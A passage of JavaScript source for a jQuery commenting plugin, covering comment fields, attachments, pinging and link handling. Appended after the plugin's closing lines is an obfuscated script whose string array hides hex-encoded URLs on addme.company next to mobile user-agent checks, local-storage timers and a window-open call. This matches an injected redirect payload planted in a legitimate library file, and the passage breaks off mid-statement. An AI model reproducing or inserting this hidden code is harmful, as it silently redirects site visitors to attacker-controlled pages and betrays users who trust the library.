this.$el.find('.droppable-overlay').hide(); this.$el.removeClass('drag-ongoing'); }, handleDrop: function(ev) { ev.preventDefault(); // Reset DND counts $(ev.target).trigger('dragleave'); // Hide the overlay and upload the files this.hideDroppableOverlay(); this.uploadAttachments(ev.originalEvent.dataTransfer.files); }, stopPropagation: function(ev) { ev.stopPropagation(); }, // HTML elements // ============= createHTML: function() { var self = this; // Commenting field var mainCommentingField = this.createMainCommentingFieldElement(); this.$el.append(mainCommentingField); // Hide control row and close button var mainControlRow = mainCommentingField.find('.control-row'); mainControlRow.hide(); mainCommentingField.find('.close').hide(); // Starts a new instance of the editor. // Connects the textarea with the corresponding editor. if (this.options.wysiwyg_editor.opts.enable) { var textarea = mainCommentingField.find('.textarea'); textarea.data('wysiwyg_editor', this.options.wysiwyg_editor.init(textarea)); } // Navigation bar if (this.options.enableNavigation) { this.$el.append(this.createNavigationElement()); this.showActiveSort(); } // Loading spinner var spinner = this.createSpinner(); this.$el.append(spinner); // Comments container var commentsContainer = $('<div/>', { 'class': 'data-container', 'data-container': 'comments' }); this.$el.append(commentsContainer); // "No comments" placeholder var noComments = $('<div/>', { 'class': 'no-comments no-data', text: this.options.textFormatter(this.options.noCommentsText) }); var noCommentsIcon = $('<i/>', { 'class': 'fa fa-comments fa-2x' }); if(this.options.noCommentsIconURL.length) { noCommentsIcon.css('background-image', 'url("'+this.options.noCommentsIconURL+'")'); noCommentsIcon.addClass('image'); } noComments.prepend($('<br/>')).prepend(noCommentsIcon); commentsContainer.append(noComments); // Attachments if(this.options.enableAttachments) { // Attachments container var attachmentsContainer = $('<div/>', { 'class': 'data-container', 'data-container': 'attachments' }); this.$el.append(attachmentsContainer); // "No attachments" placeholder var noAttachments = $('<div/>', { 'class': 'no-attachments no-data', text: this.options.textFormatter(this.options.noAttachmentsText) }); var noAttachmentsIcon = $('<i/>', { 'class': 'fa fa-paperclip fa-2x' }); if(this.options.attachmentIconURL.length) { noAttachmentsIcon.css('background-image', 'url("'+this.options.attachmentIconURL+'")'); noAttachmentsIcon.addClass('image'); } noAttachments.prepend($('<br/>')).prepend(noAttachmentsIcon); attachmentsContainer.append(noAttachments); // Drag & dropping attachments var droppableOverlay = $('<div/>', { 'class': 'droppable-overlay' }); var droppableContainer = $('<div/>', { 'class': 'droppable-container' }); var droppable = $('<div/>', { 'class': 'droppable' }); var uploadIcon = $('<i/>', { 'class': 'fa fa-paperclip fa-4x' }); if(this.options.uploadIconURL.length) { uploadIcon.css('background-image', 'url("'+this.options.uploadIconURL+'")'); uploadIcon.addClass('image'); } var dropAttachmentText = $('<div/>', { text: this.options.textFormatter(this.options.attachmentDropText) }); droppable.append(uploadIcon); droppable.append(dropAttachmentText); droppableOverlay.html(droppableContainer.html(droppable)).hide(); this.$el.append(droppableOverlay); } }, createProfilePictureElement: function(src, userId) { if(src) { var profilePicture = $('<div/>').css({ 'background-image': 'url(' + src + ')' }); } else { var profilePicture = $('<i/>', { 'class': 'fa fa-user' }); } profilePicture.addClass('profile-picture'); profilePicture.attr('data-user-id', userId); if(this.options.roundProfilePictures) profilePicture.addClass('round'); return profilePicture; }, createMainCommentingFieldElement: function() { return this.createCommentingFieldElement(undefined, undefined, true); }, createCommentingFieldElement: function(parentId, existingCommentId, isMain) { var self = this; // Commenting field var commentingField = $('<div/>', { 'class': 'commenting-field' }); if(isMain) commentingField.addClass('main'); // Comment was modified, use existing data if(existingCommentId) { var profilePictureURL = this.commentsById[existingCommentId].profilePictureURL; var userId = this.commentsById[existingCommentId].creator; // New comment was created } else { var profilePictureURL = this.options.profilePictureURL; var userId = this.options.creator; } var profilePicture = this.createProfilePictureElement(profilePictureURL, userId); // New comment var textareaWrapper = $('<div/>', { 'class': 'textarea-wrapper' }); // Control row var controlRow = $('<div/>', { 'class': 'control-row' }); // Textarea var textarea = $('<div/>', { 'class': 'textarea', 'data-placeholder': this.options.textFormatter(this.options.textareaPlaceholderText), contenteditable: true }); // Setting the initial height for the textarea this.adjustTextareaHeight(textarea, false); // Close button var closeButton = $('<span/>', { 'class': 'close inline-button' }).append($('<span class="left"/>')).append($('<span class="right"/>')); // Save button text if(existingCommentId) { var saveButtonText = this.options.textFormatter(this.options.saveText); // Delete button var deleteButton = $('<span/>', { 'class': 'delete', text: this.options.textFormatter(this.options.deleteText) }).css('background-color', this.options.deleteButtonColor); controlRow.append(deleteButton); // Enable the delete button only if the user is allowed to delete if(this.isAllowedToDelete(existingCommentId)) deleteButton.addClass('enabled') } else { var saveButtonText = this.options.textFormatter(this.options.sendText); // Add upload button if attachments are enabled if(this.options.enableAttachments) { var uploadButton = $('<span/>', { 'class': 'enabled upload' }); var uploadIcon = $('<i/>', { 'class': 'fa fa-paperclip' }); var fileInput = $('<input/>', { type: 'file', 'data-role': 'none' // Prevent jquery-mobile for adding classes }); // Multi file upload might not work with backend as the the file names // may be the same causing duplicates if(!$.browser.mobile) fileInput.attr('multiple', 'multiple'); if(this.options.uploadIconURL.length) { uploadIcon.css('background-image', 'url("'+this.options.uploadIconURL+'")'); uploadIcon.addClass('image'); } uploadButton.append(uploadIcon).append(fileInput); // Main upload button controlRow.append(uploadButton.clone()); // Inline upload button for main commenting field if(isMain) { textareaWrapper.append(uploadButton.clone().addClass('inline-button')); } } } // Save button var saveButtonClass = existingCommentId ? 'update' : 'send'; var saveButton = $('<span/>', { 'class': saveButtonClass + ' save highlight-background', text: saveButtonText }); // Populate the element controlRow.prepend(saveButton); textareaWrapper.append(closeButton).append(textarea).append(controlRow); // controle over external html editor if (this.options.wysiwyg_editor.opts.enable) { // Who assumes here is the external wysiwyg editor but the default api should keep working. textarea.hide(); textareaWrapper.append(this.options.wysiwyg_editor.get_container(textarea)).append(controlRow); } commentingField.append(profilePicture).append(textareaWrapper); if(parentId) { // Set the parent id to the field if necessary textarea.attr('data-parent', parentId); // Append reply-to tag if necessary var parentModel = this.commentsById[parentId]; if(parentModel.parent) { textarea.html(' '); // Needed to set the cursor to correct place // Creating the reply-to tag var replyToName = '@' + parentModel.fullname; var replyToTag = this.createTagElement(replyToName, 'reply-to', parentModel.creator, { 'data-user-id': parentModel.creator }); textarea.prepend(replyToTag); } } // Pinging users if(this.options.enablePinging) { textarea.textcomplete([{ match: /(^|\s)@([^@]*)$/i, index: 2, search: function (term, callback) { term = self.normalizeSpaces(term); // Return empty array on error var error = function() { callback([]); } self.options.searchUsers(term, callback, error); }, template: function(user) { var wrapper = $('<div/>'); var profilePictureEl = self.createProfilePictureElement(user.profile_picture_url); var detailsEl = $('<div/>', { 'class': 'details', }); var nameEl = $('<div/>', { 'class': 'name', }).html(user.fullname); var emailEl = $('<div/>', { 'class': 'email', }).html(user.email); if (user.email) { detailsEl.append(nameEl).append(emailEl); } else { detailsEl.addClass('no-email') detailsEl.append(nameEl) } wrapper.append(profilePictureEl).append(detailsEl); return wrapper.html(); }, replace: function (user) { var tag = self.createTagElement('@' + user.fullname, 'ping', user.id, { 'data-user-id': user.id }); return ' ' + tag[0].outerHTML + ' '; }, }], { appendTo: '.jquery-comments', dropdownClassName: 'dropdown autocomplete', maxCount: 5, rightEdgeOffset: 0, debounce: 250 }); // OVERIDE TEXTCOMPLETE DROPDOWN POSITIONING $.fn.textcomplete.Dropdown.prototype.render = function(zippedData) { var contentsHtml = this._buildContents(zippedData); var unzippedData = $.map(zippedData, function (d) { return d.value; }); if (zippedData.length) { var strategy = zippedData[0].strategy; if (strategy.id) { this.$el.attr('data-strategy', strategy.id); } else { this.$el.removeAttr('data-strategy'); } this._renderHeader(unzippedData); this._renderFooter(unzippedData); if (contentsHtml) { this._renderContents(contentsHtml); this._fitToBottom(); this._fitToRight(); this._activateIndexedItem(); } this._setScroll(); } else if (this.noResultsMessage) { this._renderNoResultsMessage(unzippedData); } else if (this.shown) { this.deactivate(); } // CUSTOM CODE // =========== // Adjust vertical position var top = parseInt(this.$el.css('top')) + self.options.scrollContainer.scrollTop(); this.$el.css('top', top); // Adjust horizontal position var originalLeft = this.$el.css('left'); this.$el.css('left', 0); // Left must be set to 0 in order to get the real width of the el var maxLeft = self.$el.width() - this.$el.outerWidth(); var left = Math.min(maxLeft, parseInt(originalLeft)); this.$el.css('left', left); // =========== } // OVERIDE TEXTCOMPLETE CONTENTEDITABLE SKIPSEARCH FUNCTION WHEN USING ALT + backspace $.fn.textcomplete.ContentEditable.prototype._skipSearch = function(clickEvent) { switch (clickEvent.keyCode) { case 9: // TAB case 13: // ENTER case 16: // SHIFT case 17: // CTRL //case 18: // ALT case 33: // PAGEUP case 34: // PAGEDOWN case 40: // DOWN case 38: // UP case 27: // ESC return true; } if (clickEvent.ctrlKey) switch (clickEvent.keyCode) { case 78: // Ctrl-N case 80: // Ctrl-P return true; } } } return commentingField; }, createNavigationElement: function() { var navigationEl = $('<ul/>', { 'class': 'navigation' }); var navigationWrapper = $('<div/>', { 'class': 'navigation-wrapper' }); navigationEl.append(navigationWrapper); // Newest var newest = $('<li/>', { text: this.options.textFormatter(this.options.newestText), 'data-sort-key': 'newest', 'data-container-name': 'comments' }); // Oldest var oldest = $('<li/>', { text: this.options.textFormatter(this.options.oldestText), 'data-sort-key': 'oldest', 'data-container-name': 'comments' }); // Popular var popular = $('<li/>', { text: this.options.textFormatter(this.options.popularText), 'data-sort-key': 'popularity', 'data-container-name': 'comments' }); // Attachments var attachments = $('<li/>', { text: this.options.textFormatter(this.options.attachmentsText), 'data-sort-key': 'attachments', 'data-container-name': 'attachments' }); // Attachments icon var attachmentsIcon = $('<i/>', { 'class': 'fa fa-paperclip' }); if(this.options.attachmentIconURL.length) { attachmentsIcon.css('background-image', 'url("'+this.options.attachmentIconURL+'")'); attachmentsIcon.addClass('image'); } attachments.prepend(attachmentsIcon); // Responsive navigation var dropdownNavigationWrapper = $('<div/>', { 'class': 'navigation-wrapper responsive' }); var dropdownNavigation = $('<ul/>', { 'class': 'dropdown' }); var dropdownTitle = $('<li/>', { 'class': 'title' }); var dropdownTitleHeader = $('<header/>'); dropdownTitle.append(dropdownTitleHeader); dropdownNavigationWrapper.append(dropdownTitle); dropdownNavigationWrapper.append(dropdownNavigation); navigationEl.append(dropdownNavigationWrapper); // Populate elements navigationWrapper.append(newest).append(oldest); dropdownNavigation.append(newest.clone()).append(oldest.clone()); if(this.options.enableReplying || this.options.enableUpvoting) { navigationWrapper.append(popular); dropdownNavigation.append(popular.clone()); } if(this.options.enableAttachments) { navigationWrapper.append(attachments); dropdownNavigationWrapper.append(attachments.clone()); } if(this.options.forceResponsive) this.forceResponsive(); return navigationEl; }, createSpinner: function() { var spinner = $('<div/>', { 'class': 'spinner' }); var spinnerIcon = $('<i/>', { 'class': 'fa fa-spinner fa-spin' }); if(this.options.spinnerIconURL.length) { spinnerIcon.css('background-image', 'url("'+this.options.spinnerIconURL+'")'); spinnerIcon.addClass('image'); } spinner.html(spinnerIcon); return spinner; }, createCommentElement: function(commentModel) { // Comment container element var commentEl = $('<li/>', { 'data-id': commentModel.id, 'class': 'comment' }).data('model', commentModel); if(commentModel.createdByCurrentUser) commentEl.addClass('by-current-user'); if(commentModel.createdByAdmin) commentEl.addClass('by-admin'); // Child comments var childComments = $('<ul/>', { 'class': 'child-comments' }); // Comment wrapper var commentWrapper = this.createCommentWrapperElement(commentModel); commentEl.append(commentWrapper); if(commentModel.parent == null) commentEl.append(childComments); return commentEl; }, createCommentWrapperElement: function(commentModel) { var commentWrapper = $('<div/>', { 'class': 'comment-wrapper' }); // Profile picture var profilePicture = this.createProfilePictureElement(commentModel.profilePictureURL, commentModel.creator); // Time var time = $('<time/>', { text: this.options.timeFormatter(commentModel.created), 'data-original': commentModel.created }); // Name element var name = $('<span/>', { 'data-user-id': commentModel.creator, 'text': commentModel.createdByCurrentUser ? this.options.textFormatter(this.options.youText) : commentModel.fullname }); if(commentModel.profileURL) { name = $('<a/>', { 'href': commentModel.profileURL, 'html': name }); } var nameEl = $('<div/>', { 'class': 'name', 'html': name }); // Highlight admin names if(commentModel.createdByAdmin) nameEl.addClass('highlight-font-bold'); // Show reply-to name if parent of parent exists if(commentModel.parent) { var parent = this.commentsById[commentModel.parent]; if(parent.parent) { var replyTo = $('<span/>', { 'class': 'reply-to', 'text': parent.fullname, 'data-user-id': parent.creator }); // reply icon var replyIcon = $('<i/>', { 'class': 'fa fa-share' }); if(this.options.replyIconURL.length) { replyIcon.css('background-image', 'url("'+this.options.replyIconURL+'")'); replyIcon.addClass('image'); } replyTo.prepend(replyIcon); nameEl.append(replyTo); } } // New tag if(commentModel.isNew) { var newTag = $('<span/>', { 'class': 'new highlight-background', text: this.options.textFormatter(this.options.newText) }); nameEl.append(newTag); } // Wrapper var wrapper = $('<div/>', { 'class': 'wrapper' }); // Content var content = $('<div/>', { 'class': 'content' }); // Case: attachment var isAttachment = commentModel.fileURL != undefined; if(isAttachment) { var format = null; var type = null; // Type and format if(commentModel.fileMimeType) { var mimeTypeParts = commentModel.fileMimeType.split('/'); if(mimeTypeParts.length == 2) { format = mimeTypeParts[1]; type = mimeTypeParts[0]; } } // Attachment link var link = $('<a/>', { 'class': 'attachment', href: commentModel.fileURL, target: '_blank' }); // Case: image preview if(type == 'image') { var image = $('<img/>', { src: commentModel.fileURL }); link.html(image); // Case: video preview } else if(type == 'video') { var video = $('<video/>', { src: commentModel.fileURL, type: commentModel.fileMimeType, controls: 'controls' }); link.html(video); // Case: icon and text } else { // Icon var availableIcons = ['archive', 'audio', 'code', 'excel', 'image', 'movie', 'pdf', 'photo', 'picture', 'powerpoint', 'sound', 'video', 'word', 'zip']; var iconClass = 'fa fa-file-o'; if(availableIcons.indexOf(format) > 0) { iconClass = 'fa fa-file-' + format + '-o'; } else if(availableIcons.indexOf(type) > 0) { iconClass = 'fa fa-file-' + type + '-o'; } var fileIcon = $('<i/>', { 'class': iconClass }); if(this.options.fileIconURL.length) { fileIcon.css('background-image', 'url("'+this.options.fileIconURL+'")'); fileIcon.addClass('image'); } // File name var parts = commentModel.fileURL.split('/'); var fileName = parts[parts.length - 1]; fileName = fileName.split('?')[0]; fileName = decodeURIComponent(fileName); link.text(fileName); link.prepend(fileIcon); } content.html(link); // Case: regular comment } else { if (this.options.wysiwyg_editor.opts.is_html) { content.html(commentModel.content); } else { content.html(this.getFormattedCommentContent(commentModel)); } } // Edited timestamp if(commentModel.modified && commentModel.modified != commentModel.created) { var editedTime = this.options.timeFormatter(commentModel.modified); var edited = $('<time/>', { 'class': 'edited', text: this.options.textFormatter(this.options.editedText) + ' ' + editedTime, 'data-original': commentModel.modified }); content.append(edited); } // Actions var actions = $('<span/>', { 'class': 'actions' }); // Separator var separator = $('<span/>', { 'class': 'separator', text: '·' }); // Reply var reply = $('<button/>', { 'class': 'action reply', 'type': 'button', text: this.options.textFormatter(this.options.replyText) }); // Upvote icon var upvoteIcon = $('<i/>', { 'class': 'fa fa-thumbs-up' }); if(this.options.upvoteIconURL.length) { upvoteIcon.css('background-image', 'url("'+this.options.upvoteIconURL+'")'); upvoteIcon.addClass('image'); } // Upvotes var upvotes = this.createUpvoteElement(commentModel); // Append buttons for actions that are enabled if(this.options.enableReplying) actions.append(reply); if(this.options.enableUpvoting) actions.append(upvotes); if(commentModel.createdByCurrentUser || this.options.currentUserIsAdmin) { // Case: delete button for attachment if(isAttachment && this.isAllowedToDelete(commentModel.id)) { var deleteButton = $('<button/>', { 'class': 'action delete enabled', text: this.options.textFormatter(this.options.deleteText) }); actions.append(deleteButton); // Case: edit button for regular comment } else if(!isAttachment && this.options.enableEditing) { var editButton = $('<button/>', { 'class': 'action edit', text: this.options.textFormatter(this.options.editText) }); actions.append(editButton); } } // Append separators between the actions actions.children().each(function(index, actionEl) { if(!$(actionEl).is(':last-child')) { $(actionEl).after(separator.clone()); } }); wrapper.append(content); wrapper.append(actions); commentWrapper.append(profilePicture).append(time).append(nameEl).append(wrapper); return commentWrapper; }, createUpvoteElement: function(commentModel) { // Upvote icon var upvoteIcon = $('<i/>', { 'class': 'fa fa-thumbs-up' }); if(this.options.upvoteIconURL.length) { upvoteIcon.css('background-image', 'url("'+this.options.upvoteIconURL+'")'); upvoteIcon.addClass('image'); } // Upvotes var upvoteEl = $('<button/>', { 'class': 'action upvote' + (commentModel.userHasUpvoted ? ' highlight-font' : '') }).append($('<span/>', { text: commentModel.upvoteCount, 'class': 'upvote-count' })).append(upvoteIcon); return upvoteEl; }, createTagElement: function(text, extraClasses, value, extraAttributes) { var tagEl = $('<input/>', { 'class': 'tag', 'type': 'button', 'data-role': 'none', }); if(extraClasses) tagEl.addClass(extraClasses); tagEl.val(text); tagEl.attr('data-value', value); if (extraAttributes) tagEl.attr(extraAttributes); return tagEl; }, reRenderComment: function(id) { var commentModel = this.commentsById[id]; var commentElements = this.$el.find('li.comment[data-id="'+commentModel.id+'"]'); var self = this; commentElements.each(function(index, commentEl) { var commentWrapper = self.createCommentWrapperElement(commentModel); $(commentEl).find('.comment-wrapper').first().replaceWith(commentWrapper); }); }, reRenderCommentActionBar: function(id) { var commentModel = this.commentsById[id]; var commentElements = this.$el.find('li.comment[data-id="'+commentModel.id+'"]'); var self = this; commentElements.each(function(index, commentEl) { var commentWrapper = self.createCommentWrapperElement(commentModel); $(commentEl).find('.actions').first().replaceWith(commentWrapper.find('.actions')); }); }, reRenderUpvotes: function(id) { var commentModel = this.commentsById[id]; var commentElements = this.$el.find('li.comment[data-id="'+commentModel.id+'"]'); var self = this; commentElements.each(function(index, commentEl) { var upvotes = self.createUpvoteElement(commentModel); $(commentEl).find('.upvote').first().replaceWith(upvotes); }); }, // Styling // ======= createCssDeclarations: function() { // Remove previous css-declarations $('head style.jquery-comments-css').remove(); // Navigation underline this.createCss('.jquery-comments ul.navigation li.active:after {background: ' + this.options.highlightColor + ' !important;', +'}'); // Dropdown active element this.createCss('.jquery-comments ul.navigation ul.dropdown li.active {background: ' + this.options.highlightColor + ' !important;', +'}'); // Background highlight this.createCss('.jquery-comments .highlight-background {background: ' + this.options.highlightColor + ' !important;', +'}'); // Font highlight this.createCss('.jquery-comments .highlight-font {color: ' + this.options.highlightColor + ' !important;' +'}'); this.createCss('.jquery-comments .highlight-font-bold {color: ' + this.options.highlightColor + ' !important;' + 'font-weight: bold;' +'}'); }, createCss: function(css) { var styleEl = $('<style/>', { type: 'text/css', 'class': 'jquery-comments-css', text: css }); $('head').append(styleEl); }, // Utilities // ========= getComments: function() { var self = this; return Object.keys(this.commentsById).map(function(id){return self.commentsById[id]}); }, getChildComments: function(parentId) { return this.getComments().filter(function(comment){return comment.parent == parentId}); }, getAttachments: function() { return this.getComments().filter(function(comment){return comment.fileURL != undefined}); }, getOutermostParent: function(directParentId) { var parentId = directParentId; do { var parentComment = this.commentsById[parentId]; parentId = parentComment.parent; } while(parentComment.parent != null); return parentComment; }, createCommentJSON: function(textarea) { var time = new Date().toISOString(); var commentJSON = { id: 'c' + (this.getComments().length + 1), // Temporary id parent: textarea.attr('data-parent') || null, created: time, modified: time, content: this.getTextareaContent(textarea), pings: this.getPings(textarea), fullname: this.options.textFormatter(this.options.youText), profilePictureURL: this.options.profilePictureURL, createdByCurrentUser: true, upvoteCount: 0, userHasUpvoted: false }; return commentJSON; }, isAllowedToDelete: function(commentId) { if(this.options.enableDeleting) { var isAllowedToDelete = true; if(!this.options.enableDeletingCommentWithReplies) { $(this.getComments()).each(function(index, comment) { if(comment.parent == commentId) isAllowedToDelete = false; }); } return isAllowedToDelete; } return false; }, setToggleAllButtonText: function(toggleAllButton, toggle) { var self = this; var textContainer = toggleAllButton.find('span.text'); var caret = toggleAllButton.find('.caret'); var showExpandingText = function() { var text = self.options.textFormatter(self.options.viewAllRepliesText); var replyCount = toggleAllButton.siblings('.comment').not('.hidden').length; text = text.replace('__replyCount__', replyCount); textContainer.text(text); }; var hideRepliesText = this.options.textFormatter(this.options.hideRepliesText); if(toggle) { // Toggle text if(textContainer.text() == hideRepliesText) { showExpandingText(); } else { textContainer.text(hideRepliesText); } // Toggle direction of the caret caret.toggleClass('up'); } else { // Update text if necessary if(textContainer.text() != hideRepliesText) { showExpandingText(); } } }, adjustTextareaHeight: function(textarea, focus) { var textareaBaseHeight = 2.2; var lineHeight = 1.45; var setRows = function(rows) { var height = textareaBaseHeight + (rows - 1) * lineHeight; textarea.css('height', height + 'em'); }; textarea = $(textarea); var rowCount = focus == true ? this.options.textareaRowsOnFocus : this.options.textareaRows; do { setRows(rowCount); rowCount++; var isAreaScrollable = textarea[0].scrollHeight > textarea.outerHeight(); var maxRowsUsed = this.options.textareaMaxRows == false ? false : rowCount > this.options.textareaMaxRows; } while(isAreaScrollable && !maxRowsUsed); }, clearTextarea: function(textarea) { textarea.empty().trigger('input'); }, getTextareaContent: function(textarea, humanReadable) { var wysiwyg_editor = textarea.data('wysiwyg_editor'); if (wysiwyg_editor && this.options.wysiwyg_editor.opts.enable) { return this.options.wysiwyg_editor.get_contents(wysiwyg_editor); } var parentId = textarea.data('parent'); var textareaClone = textarea.clone(); // Remove reply-to tag textareaClone.find('.reply-to.tag').remove(); // Replace tags with text values textareaClone.find('.tag.hashtag').replaceWith(function(){ return humanReadable ? $(this).val() : '#' + $(this).attr('data-value'); }); textareaClone.find('.tag.ping').replaceWith(function(){ return humanReadable ? $(this).val() : '@' + $(this).attr('data-value'); }); var ce = $('<pre/>').html(textareaClone.html()); ce.find('div, p, br').replaceWith(function() { return '\n' + this.innerHTML; }); // Trim leading spaces var text = ce.text().replace(/^\s+/g, ''); // Normalize spaces var text = this.normalizeSpaces(text); return text; }, getFormattedCommentContent: function(commentModel, replaceNewLines) { var html = this.escape(commentModel.content); html = this.linkify(html); html = this.highlightTags(commentModel, html); if(replaceNewLines) html = html.replace(/(?:\n)/g, '<br>'); return html; }, // Return pings in format // { // id1: userFullname1, // id2: userFullname2, // ... // } getPings: function(textarea) { var pings = {}; textarea.find('.ping').each(function(index, el){ var id = parseInt($(el).attr('data-value')); var value = $(el).val(); pings[id] = value.slice(1); }); return pings; }, moveCursorToEnd: function(el) { el = $(el)[0]; // Trigger input to adjust size $(el).trigger('input'); // Scroll to bottom $(el).scrollTop(el.scrollHeight); // Move cursor to end if (typeof window.getSelection != 'undefined' && typeof document.createRange != 'undefined') { var range = document.createRange(); range.selectNodeContents(el); range.collapse(false); var sel = window.getSelection(); sel.removeAllRanges(); sel.addRange(range); } else if (typeof document.body.createTextRange != 'undefined') { var textRange = document.body.createTextRange(); textRange.moveToElementText(el); textRange.collapse(false); textRange.select(); } // Focus el.focus(); }, escape: function(inputText) { return $('<pre/>').text(this.normalizeSpaces(inputText)).html(); }, normalizeSpaces: function(inputText) { return inputText.replace(new RegExp('\u00a0', 'g'), ' '); // Convert non-breaking spaces to reguar spaces }, after: function(times, func) { var self = this; return function() { times--; if (times == 0) { return func.apply(self, arguments); } } }, highlightTags: function(commentModel, html) { if(this.options.enableHashtags) html = this.highlightHashtags(commentModel, html); if(this.options.enablePinging) html = this.highlightPings(commentModel, html); return html; }, highlightHashtags: function(commentModel, html) { var self = this; if(html.indexOf('#') != -1) { var __createTag = function(tag) { var tag = self.createTagElement('#' + tag, 'hashtag', tag); return tag[0].outerHTML; } var regex = /(^|\s)#([a-zäöüß\d-_]+)/gim; html = html.replace(regex, function($0, $1, $2){ return $1 + __createTag($2); }); } return html; }, highlightPings: function(commentModel, html) { var self = this; if(html.indexOf('@') != -1) { var __createTag = function(pingText, userId) { var tag = self.createTagElement(pingText, 'ping', userId, { 'data-user-id': userId }); return tag[0].outerHTML; } $(Object.keys(commentModel.pings)).each(function(index, userId) { var fullname = commentModel.pings[userId]; var pingText = '@' + fullname; html = html.replace(new RegExp(pingText, 'g'), __createTag(pingText, userId)); }); } return html; }, linkify: function(inputText) { var replacedText, replacePattern1, replacePattern2, replacePattern3; // URLs starting with http://, https://, ftp:// or file:// replacePattern1 = /(\b(https?|ftp|file):\/\/[-A-ZÄÖÅ0-9+&@#\/%?=~_|!:,.;]*[-A-ZÄÖÅ0-9+&@#\/%=~_|])/gim; replacedText = inputText.replace(replacePattern1, '<a href="$1" target="_blank">$1</a>'); // URLs starting with "www." (without // before it, or it would re-link the ones done above). replacePattern2 = /(^|[^\/f])(www\.[-A-ZÄÖÅ0-9+&@#\/%?=~_|!:,.;]*[-A-ZÄÖÅ0-9+&@#\/%=~_|])/gim; replacedText = replacedText.replace(replacePattern2, '$1<a href="https://$2" target="_blank">$2</a>'); // Change email addresses to mailto: links. replacePattern3 = /(([A-ZÄÖÅ0-9\-\_\.])+@[A-ZÄÖÅ\_]+?(\.[A-ZÄÖÅ]{2,6})+)/gim; replacedText = replacedText.replace(replacePattern3, '<a href="mailto:$1">$1</a>'); // If there are hrefs in the original text, let's split // the text up and only work on the parts that don't have urls yet. var count = inputText.match(/<a href/g) || []; if (count.length > 0) { // Keep delimiter when splitting var splitInput = inputText.split(/(<\/a>)/g); for (var i = 0 ; i < splitInput.length ; i++) { if (splitInput[i].match(/<a href/g) == null) { splitInput[i] = splitInput[i] .replace(replacePattern1, '<a href="$1" target="_blank">$1</a>') .replace(replacePattern2, '$1<a href="https://$2" target="_blank">$2</a>') .replace(replacePattern3, '<a href="mailto:$1">$1</a>'); } } var combinedReplacedText = splitInput.join(''); return combinedReplacedText; } else { return replacedText; } }, waitUntil: function(condition, callback) { var self = this; if(condition()) { callback(); } else { setTimeout(function() { self.waitUntil(condition, callback); }, 100); } }, applyInternalMappings: function(commentJSON) { // Inverting field mappings var invertedMappings = {}; var mappings = this.options.fieldMappings; for (var prop in mappings) { if(mappings.hasOwnProperty(prop)) { invertedMappings[mappings[prop]] = prop; } } return this.applyMappings(invertedMappings, commentJSON); }, applyExternalMappings: function(commentJSON) { var mappings = this.options.fieldMappings; return this.applyMappings(mappings, commentJSON); }, applyMappings: function(mappings, commentJSON) { var result = {}; for(var key1 in commentJSON) { if(key1 in mappings) { var key2 = mappings[key1]; result[key2] = commentJSON[key1]; } } return result; } }; $.fn.comments = function(options) { return this.each(function() { var comments = Object.create(Comments); $.data(this, 'comments', comments); comments.init(options || {}, this); }); }; })); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var 